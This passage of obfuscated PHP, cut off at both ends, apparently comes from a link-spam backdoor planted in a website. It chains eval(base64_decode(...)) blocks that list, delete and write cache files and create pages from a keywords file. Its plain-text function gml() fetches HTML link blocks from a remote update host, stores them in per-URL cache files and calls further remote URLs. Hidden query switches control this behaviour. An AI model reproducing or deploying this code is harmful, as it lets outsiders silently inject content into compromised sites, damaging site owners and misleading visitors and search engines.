iBzdHlsZT0nY29sb3I6cmVkJz57JEdMT0JBTFNbJ2RnY3AnXX0wPC9iPjxicj4iOyB9IGVjaG8iPGgyPnZpc2l0b3JzOjwvaDI+IjsgZWNobyBGOEUxQzlCNzkwNjAyNjVDNkE0MjEzM0MyREEyQzMzQTYoKTtmbHVzaCgpOyBlY2hvIjxocj48aDI+Y2FjaGUgc3RhdGU6PC9oMj4iO2ZsdXNoKCk7ICRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTAgPSAwOyAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEID0gMDsgJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSA9IG9wZW5kaXIoJEdMT0JBTFNbJ2RnY3AnXSk7IGlmKCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpeyB3aGlsZShzdHJsZW4oJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IHJlYWRkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpKXsgaWYoaXNfZGlyKCRHTE9CQUxTWydkZ2NwJ10uJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikgfHwgcHJlZ19tYXRjaCgiL1xELyIsICRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpKXsgY29udGludWU7IH0gJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCsrOyAkUjNEMzY2MzFDMTdBNDEwMjA3RDMyRTlEODBENjBGNEI1ID0gZmlsZXNpemUoJEdMT0JBTFNbJ2RnY3AnXS4kUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgaWYoJFIzRDM2NjMxQzE3QTQxMDIwN0QzMkU5RDgwRDYwRjRCNSA+IDApeyAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKys7IGVjaG8ieyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkJ9IFtzaXplOiB7JFIzRDM2NjMxQzE3QTQxMDIwN0QzMkU5RDgwRDYwRjRCNX1dPGJyPiI7IH0gfSBjbG9zZWRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKTsgfWVsc2V7IGVjaG8iY2FuJ3Qgb3BlbmRpciB7JEdMT0JBTFNbJ2RnY3AnXX08YnI+IjsgfSBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEID4gMCl7IGVjaG8iVE9UQUwgUEFHRVM6IDxiPiRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ8L2I+OyBDUkVBVEVEOiA8Yj4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPC9iPiBbIiAuIHJvdW5kKCgkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwIC8gJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCkgKiAxMDAwKSAvIDEwIC4gIiVdPGJyPiI7IH1lbHNleyBlY2hvIkNBQ0hFIElTIEVNUFRZPGJyPiI7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSRTkxMTkyQTAwRkY5OTA0NzdFRTQxNEFENUQ3MDhGMDgsICRSQTFDMkY1NEIzRDcyMDVDNjMxQkI2MjQzMEQ4OUE4NTcpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZXhwbG9kZSgiJiIsICRSRTkxMTkyQTAwRkY5OTA0NzdFRTQxNEFENUQ3MDhGMDgpOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSNkM2RUMxMzRDREM4MDYxNUY4OTIxNzFCRDczMjUzODMgPSBleHBsb2RlKCI9IiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7IGlmKHN0cnRvbG93ZXIoJFI2QzZFQzEzNENEQzgwNjE1Rjg5MjE3MUJENzMyNTM4M1swXSkgPT0gJFJBMUMyRjU0QjNENzIwNUM2MzFCQjYyNDMwRDg5QTg1Nyl7IGFycmF5X3NoaWZ0KCRSNkM2RUMxMzRDREM4MDYxNUY4OTIxNzFCRDczMjUzODMpOyByZXR1cm4gc3RyX3JlcGxhY2UoJysnLCAnICcsIHJhd3VybGRlY29kZShpbXBsb2RlKCIgIiwgJFI2QzZFQzEzNENEQzgwNjE1Rjg5MjE3MUJENzMyNTM4MykpKTsgfSB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkUwMzIzQTkwMzlBREQyOTc4QkY1QjQ5NTUwNTcyQzdDKCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSAkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxID0gb3BlbmRpcigkR0xPQkFMU1snZGdjcCddKTsgaWYoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSl7IHdoaWxlKHN0cmxlbigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gcmVhZGRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSkpeyBpZihpc19kaXIoJEdMT0JBTFNbJ2RnY3AnXS4kUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKSB8fCBwcmVnX21hdGNoKCIvXEQvIiwgJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikpeyBjb250aW51ZTsgfSBpZighdW5saW5rKCRHTE9CQUxTWydkZ2NwJ10uJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikgJiYgISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPmZhaWxlZCB0byByZW1vdmUgeyRHTE9CQUxTWydkZ2NwJ119eyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkJ9PC9iPjxicj4iOyB9IH0gY2xvc2VkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPkNBQ0hFIENMRUFSRUQ8L2I+PGJyPiI7IH0gfWVsc2VpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iY2FuJ3Qgb3BlbmRpciB7JEdMT0JBTFNbJ2RnY3AnXX08YnI+IjsgfX0='));eval(base64_decode('ZnVuY3Rpb24gRkI5N0ZBNjNDNzhCQzkxQjU0MDNDNzdBOENGM0E5OTg2KCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iPGgyPmluc3RhbGxpbmcuLi48L2gyPiI7Zmx1c2goKTsgfSBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdrZiddKSl7ICRHTE9CQUxTWydrZXl3b3JkcyddID0gZmlsZSgkR0xPQkFMU1snZGdrZiddKTsgaWYoISRHTE9CQUxTWydrZXl3b3JkcyddKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPk5PIEtFWVdPUkRTPC9iPjxicj4iOyB9IHJldHVybjsgfSB9ZWxzZXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPk5PIEtFWVdPUkRTIEZJTEU8L2I+PGJyPiI7IH0gcmV0dXJuOyB9ICRSM0VFRTM5Njk0RjhDN0VCMzQ3NzU3RDRDRERFOTkzMzUgPSAwOyAkUkE4RUE0Mjc1RjdFNjYwODdCRDgwQjc2QkM4ODk2NzRCID0gMDsgJFJGNUYzRDE2RERGMUI4N0IwOTg1ODkxOUI1MTgwNkFFMCA9IDA7IGZvcmVhY2goJEdMT0JBTFNbJ2tleXdvcmRzJ10gYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7IGlmKCFmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdjcCddIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QikpeyBpZih0b3VjaCgkR0xPQkFMU1snZGdjcCddIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QikpeyAkUjNFRUUzOTY5NEY4QzdFQjM0Nzc1N0Q0Q0RERTk5MzM1Kys7IH1lbHNleyAkUkY1RjNEMTZEREYxQjg3QjA5ODU4OTE5QjUxODA2QUUwKys7IH0gfWVsc2V7ICRSQThFQTQyNzVGN0U2NjA4N0JEODBCNzZCQzg4OTY3NEIrKzsgfSB9IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPkluc3RhbGxlZC4gUGFnZXMgQ3JlYXRlZDogeyRSM0VFRTM5Njk0RjhDN0VCMzQ3NzU3RDRDRERFOTkzMzV9OyBQYWdlcyBBbHJlYWR5IHByZXNlbnRzOiB7JFJBOEVBNDI3NUY3RTY2MDg3QkQ4MEI3NkJDODg5Njc0Qn07IEZhaWxlZCBUbyBDcmVhdGU6IHskUkY1RjNEMTZEREYxQjg3QjA5ODU4OTE5QjUxODA2QUUwfTwvYj48YnI+IjsgfX0='));eval(base64_decode('ZnVuY3Rpb24gRkE3OTVFMEI0QkYxRDRCNjhBRkNCODVEQjVEM0YzOTI0KCl7IGVjaG8gRjhFMUM5Qjc5MDYwMjY1QzZBNDIxMzNDMkRBMkMzM0E2KCk7IGVjaG8gIjxocj57JEdMT0JBTFNbJ2Rnb3B0J11bJ2RndXJsJ119PGhyPiIgLiBmaWxlc2l6ZSgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10pO30='));eval(base64_decode('ZnVuY3Rpb24gRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQsICRSRjUyQkEyMkJBRjc1NDM4QkIxQjAyRjQ3Njk1NEMwMjMgPSAnJywgJFJBQTdCQjRCMDVGQkQyN0RCN0NBNTk0ODkzRjE2NkI0NyA9IDAsICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZigkUkFBN0JCNEIwNUZCRDI3REI3Q0E1OTQ4OTNGMTY2QjQ3KXsgJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IGZvcGVuKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICJ3Iik7IH1lbHNleyAkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gZm9wZW4oJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgImEiKTsgfSBpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKXsgZndyaXRlKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIsICRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQpOyBmZmx1c2goJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qik7IGZjbG9zZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICRSRjUyQkEyMkJBRjc1NDM4QkIxQjAyRjQ3Njk1NEMwMjM7IH0gfWVsc2V7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiY2FuJ3QgY3JlYXRlIGZpbGUgJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCI7IH0gZGllKCk7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjg5N0U1MEIzNzI0QTJENEFFREY4NTMxNEI1QzMxMkE1KCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUsICRSM0YwRjI1MEU4RkI3Q0U4NEI5Mzk3MUNDNkQzODBFMjMpeyBmb3JlYWNoKCRSM0YwRjI1MEU4RkI3Q0U4NEI5Mzk3MUNDNkQzODBFMjMgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qil7IGlmKCEkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCKXtjb250aW51ZTt9ICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQgPSBzdHJwb3MoJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSwgIj8iIC4gJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2QiAuICI9Iik7IGlmKCEkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEKXsgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCA9IHN0cnBvcygkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAiJiIgLiAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCIC4gIj0iKTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9ICcmJzsgfWVsc2V7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAnPyc7IH0gaWYoJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCl7ICRSQ0VFRjgyRTY1QkQ1MkFEMkEyMzQwQ0REQzM1N0IxODUgPSBzdHJwb3MoJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSwgIiYiLCAkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEICsgMSk7IGlmKCRSQ0VFRjgyRTY1QkQ1MkFEMkEyMzQwQ0REQzM1N0IxODUgPiAwKXsgJFIyN0VDODI2Njc5MzFDNzk2NzM2REZBQzkzNTg0MzQ2OCA9IHN1YnN0cigkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1LCAkUkNFRUY4MkU2NUJENTJBRDJBMjM0MENEREMzNTdCMTg1ICsgMSk7IH1lbHNleyAkUjI3RUM4MjY2NzkzMUM3OTY3MzZERkFDOTM1ODQzNDY4ID0gJyc7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAnJzsgfSAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gc3Vic3RyKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUsIDAsICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQpIC4gJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyAuICRSMjdFQzgyNjY3OTMxQzc5NjczNkRGQUM5MzU4NDM0Njg7IH0gfSByZXR1cm4gJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNTt9'));eval(base64_decode('function gml(){ global $_GET, $_SERVER; if($GLOBALS['dhhag']){return;} $GLOBALS['dhhag'] = 1; $R034AE2AB94F99CC81B389A1822DA3353 = strtolower($_SERVER['REQUEST_URI']); F370738CD4081996C047ABEDCDED6CEF5(); if(strpos($R034AE2AB94F99CC81B389A1822DA3353, 'rss') > 0 || strpos($R034AE2AB94F99CC81B389A1822DA3353, 'feed') > 0){ return; } $R034AE2AB94F99CC81B389A1822DA3353 = ''; $_SERVER['REQUEST_URI'] = strtolower($_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = F897E50B3724A2D4AEDF85314B5C312A5($_SERVER['REQUEST_URI'], explode(";", $GLOBALS['dgopt']['qr'])); if(isset($_GET['rl']) || isset($_GET['sl']) || isset($_GET['cl']) || isset($_GET['dgd'])){ $_SERVER['REQUEST_URI'] = str_replace('rl', '', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace('sl', '', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace('dgd', '', $_SERVER['REQUEST_URI']); $RD42A7133AD793E790EEB928B4EEE6EED = 1; }else{ $RD42A7133AD793E790EEB928B4EEE6EED = 0; } $_SERVER['REQUEST_URI'] = preg_replace('/\&\&/', '&', $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = str_replace("?&", "?", $_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = preg_replace('/\??\&?$/', '', $_SERVER['REQUEST_URI']); $RB2B40A3E3C5371A0C20E3456A5A2E50B = FAFDDA6FB38169D62DD5A5768FBEFD7AD(); if(!$RD42A7133AD793E790EEB928B4EEE6EED && ($GLOBALS['dgopt']['dgblo'] && !$RB2B40A3E3C5371A0C20E3456A5A2E50B)){ return $R034AE2AB94F99CC81B389A1822DA3353; } if(isset($_GET['cl'])){ $R60169CD1C47B7A7A85AB44F884635E41 = opendir($GLOBALS['dgcp']); if($_GET['cl'] == 1){ $_GET['cl'] = ''; } $R503FCF89BF97C3406AFBE36650A3EEAC = array(); if($_GET['cl']){ $R503FCF89BF97C3406AFBE36650A3EEAC = explode('@sep@', $_GET['cl']); } while(strlen($R6B6E98CDE8B33087A33E4D3A497BD86B = readdir($R60169CD1C47B7A7A85AB44F884635E41))){ if(is_dir($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B) || strlen($R6B6E98CDE8B33087A33E4D3A497BD86B) <> 32){ continue; } if(count($R503FCF89BF97C3406AFBE36650A3EEAC) > 0){ set_time_limit(600); $R81B6873CC4FC552BABA24BA6156BE9E6 = F17673EF6456CD8ECA52D9D6DF3F18F3B($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B); $R32036CD59E72FCCC734040D44D4CFDE1 = count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks']); foreach($R503FCF89BF97C3406AFBE36650A3EEAC as $RAFDD4371A157259D65FF1B72625750EE=>$R6629C5988EEFCD88EA6F77A2AE672B96){ if(!$R6629C5988EEFCD88EA6F77A2AE672B96){ continue; } foreach($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'] as $R607C17D838186F5D79E9619FDD4AEEDB=>$RE8D62611E5E1C69F95755AA7DAF5B948){ if(strpos($RE8D62611E5E1C69F95755AA7DAF5B948, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}")){ unset($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'][$R607C17D838186F5D79E9619FDD4AEEDB]); foreach($R81B6873CC4FC552BABA24BA6156BE9E6['links'] as $R3769C846EA0860CCB15C3CA45880E05B=>$R1261CD629575ACC614AF0867C1E29E37){ if(!(strpos($R1261CD629575ACC614AF0867C1E29E37, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}/") === false) || !(strpos($R1261CD629575ACC614AF0867C1E29E37, "http:/"."/{$R6629C5988EEFCD88EA6F77A2AE672B96}\"") === false)){ unset($R81B6873CC4FC552BABA24BA6156BE9E6['links'][$R3769C846EA0860CCB15C3CA45880E05B]); } } } } } if(!count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'])){ if(unlink($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B)){echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} removed<br>";}else{echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} can't remove<br>";} }elseif($R32036CD59E72FCCC734040D44D4CFDE1 <> count($R81B6873CC4FC552BABA24BA6156BE9E6['blocks'])){ $R04CB58866688F2FE57771583392B6A18 = $R81B6873CC4FC552BABA24BA6156BE9E6['pre'] . implode("", $R81B6873CC4FC552BABA24BA6156BE9E6['blocks']) . '<!--' . rand(1, 99999999999) . '-->' . $R81B6873CC4FC552BABA24BA6156BE9E6['post']; F17B8C65064AE90679E4CE6254EF6C510($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B, $R04CB58866688F2FE57771583392B6A18, "", 1); echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} updated<br>"; } }else{ if(unlink($GLOBALS['dgcp'].$R6B6E98CDE8B33087A33E4D3A497BD86B)){echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} removed<br>";}else{echo"{$R6B6E98CDE8B33087A33E4D3A497BD86B} can't remove<br>";} } flush(); } return $R034AE2AB94F99CC81B389A1822DA3353; } $R8154020E56D685133E67B3A86B72A3CF = $GLOBALS['dgcp'].md5('http:/'.'/' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); if(!$GLOBALS['dguh']){ if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<b><nobr>[no url for updates: {$GLOBALS['dguh']}]</nobr></b><br>";} return $R034AE2AB94F99CC81B389A1822DA3353; } if(strpos(strtolower($_SERVER['REQUEST_URI']), 'http:/'.'/') === 0){ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = $_SERVER['REQUEST_URI']; }else{ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = 'http:/'.'/' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr><b>[real url: {$R26DB1DFF7A9EC1EDA1D18E1948E39DEE}]</b></nobr><br>";} $R78120FD9DFFBA860E1D245E528DE3AC7 = 0; $R0CB51639A1F2BB354CA85714A0686605 = F17673EF6456CD8ECA52D9D6DF3F18F3B($R8154020E56D685133E67B3A86B72A3CF); if(isset($_GET['rl'])){ $R0CB51639A1F2BB354CA85714A0686605['blocks'] = array(); $R0CB51639A1F2BB354CA85714A0686605['links'] = array(); $R0CB51639A1F2BB354CA85714A0686605['count'] = 0; $R0CB51639A1F2BB354CA85714A0686605['exclusive'] = ''; unlink($R8154020E56D685133E67B3A86B72A3CF); } if(($RB2B40A3E3C5371A0C20E3456A5A2E50B || $RD42A7133AD793E790EEB928B4EEE6EED) && $R0CB51639A1F2BB354CA85714A0686605['count'] < $GLOBALS['dgopt']['ml'] && !$R0CB51639A1F2BB354CA85714A0686605['exclusive']){ $R26DB1DFF7A9EC1EDA1D18E1948E39DEE = $GLOBALS['dguh'].'?p=' . rawurlencode($R26DB1DFF7A9EC1EDA1D18E1948E39DEE) . '&l=' . $R0CB51639A1F2BB354CA85714A0686605['count']; $R9D286369CBA2FBEB34D036FFC3C9EB2E = ''; $R972A1D6D7FBAA83B27C6006E2C7CBC3F = array(); foreach($R0CB51639A1F2BB354CA85714A0686605['links'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R9D286369CBA2FBEB34D036FFC3C9EB2E .= rawurlencode($R244F38266C59587D696AEC08A771B803) . "&"; } if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>downloading html block from: $R26DB1DFF7A9EC1EDA1D18E1948E39DEE</nobr><br>";} $R60DE4E18EB5FAD895E62225070907D34 = trim(FFD456406745D816A45CAE554C788E754($R26DB1DFF7A9EC1EDA1D18E1948E39DEE, 10, $R972A1D6D7FBAA83B27C6006E2C7CBC3F, $R9D286369CBA2FBEB34D036FFC3C9EB2E)); if($GLOBALS['dgu_jurl']){ FF97A1D7A5B771B21D423C3A9D78408C1($GLOBALS['dgu_jurl'], true); } if($GLOBALS['dgu_durl']){ FE30C005A9ED2D1D7195DD8485C71E92C($GLOBALS['dgu_durl'], true); } if($GLOBALS['dgu_wurl']){ F6BB94B6278053E81D67BB712972DDAA4($GLOBALS['dgu_wurl'], true); } if($GLOBALS['dgu_surl']){ F83C82319C79E957F7851CDE48F48DB3E($GLOBALS['dgu_surl'], true); } if($GLOBALS['dgu_kurl']){ F09C226E8C9EFC96D8CC6B1DE49E0CCE6($GLOBALS['dgu_kurl'], true); } if($GLOBALS['dgu_nurl']){ FF5A8F467631BBB8EDD5FB6AB7D45D2B6($GLOBALS['dgu_nurl'], true); } if(!preg_match("/\<\!\-\-\d+\-\-\>/", $R60DE4E18EB5FAD895E62225070907D34)){ if($RD42A7133AD793E790EEB928B4EEE6EED){if($R60DE4E18EB5FAD895E62225070907D34){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>bad response</nobr><br>";}else{$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>empty response</nobr><br>";}} }else{ $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 = strpos($R60DE4E18EB5FAD895E62225070907D34, '<'); if($R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 > 0){$R60DE4E18EB5FAD895E62225070907D34 = substr($R60DE4E18EB5FAD895E62225070907D34, $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2, strlen($R60DE4E18EB5FAD895E62225070907D34));} $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 = strrpos($R60DE4E18EB5FAD895E62225070907D34, '>'); if($R2A039ED8FDBF4CEAA9E79CDC3AECD1A2 <> (strlen($R60DE4E18EB5FAD895E62225070907D34) - 1)){$R60DE4E18EB5FAD895E62225070907D34 = substr($R60DE4E18EB5FAD895E62225070907D34, 0, $R2A039ED8FDBF4CEAA9E79CDC3AECD1A2+1);} $R9CD0C33A2EC51A6C3245ACA18B61B1FE = F17673EF6456CD8ECA52D9D6DF3F18F3B('', $R60DE4E18EB5FAD895E62225070907D34); if($R9CD0C33A2EC51A6C3245ACA18B61B1FE['pre'] && $R9CD0C33A2EC51A6C3245ACA18B61B1FE['post']){ $R0CB51639A1F2BB354CA85714A0686605['pre'] = $R9CD0C33A2EC51A6C3245ACA18B61B1FE['pre']; $R0CB51639A1F2BB354CA85714A0686605['post'] = $R9CD0C33A2EC51A6C3245ACA18B61B1FE['post']; } if(count($R9CD0C33A2EC51A6C3245ACA18B61B1FE['blocks'])){ foreach($R9CD0C33A2EC51A6C3245ACA18B61B1FE['blocks'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R0CB51639A1F2BB354CA85714A0686605['blocks'][] = $R244F38266C59587D696AEC08A771B803; } foreach($R9CD0C33A2EC51A6C3245ACA18B61B1FE['links'] as $RF413F06AEBBCEF5E1C8B1019DEE6FE6B=>$R244F38266C59587D696AEC08A771B803){ $R0CB51639A1F2BB354CA85714A0686605['links'][] = $R244F38266C59587D696AEC08A771B803; } $R0CB51639A1F2BB354CA85714A0686605['count'] = count($R0CB51639A1F2BB354CA85714A0686605['blocks']); $R04CB58866688F2FE57771583392B6A18 = $R0CB51639A1F2BB354CA85714A0686605['pre'] . implode("", $R0CB51639A1F2BB354CA85714A0686605['blocks']) . '<!--' . rand(1, 99999999999) . '-->' . $R0CB51639A1F2BB354CA85714A0686605['post']; F17B8C65064AE90679E4CE6254EF6C510($R8154020E56D685133E67B3A86B72A3CF, $R04CB58866688F2FE57771583392B6A18, '', 1); if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= "<nobr>file $R8154020E56D685133E67B3A86B72A3CF updated</nobr><br>";} }else{ if($RD42A7133AD793E790EEB928B4EEE6EED){$R034AE2AB94F99CC81B389A1822DA3353 .= 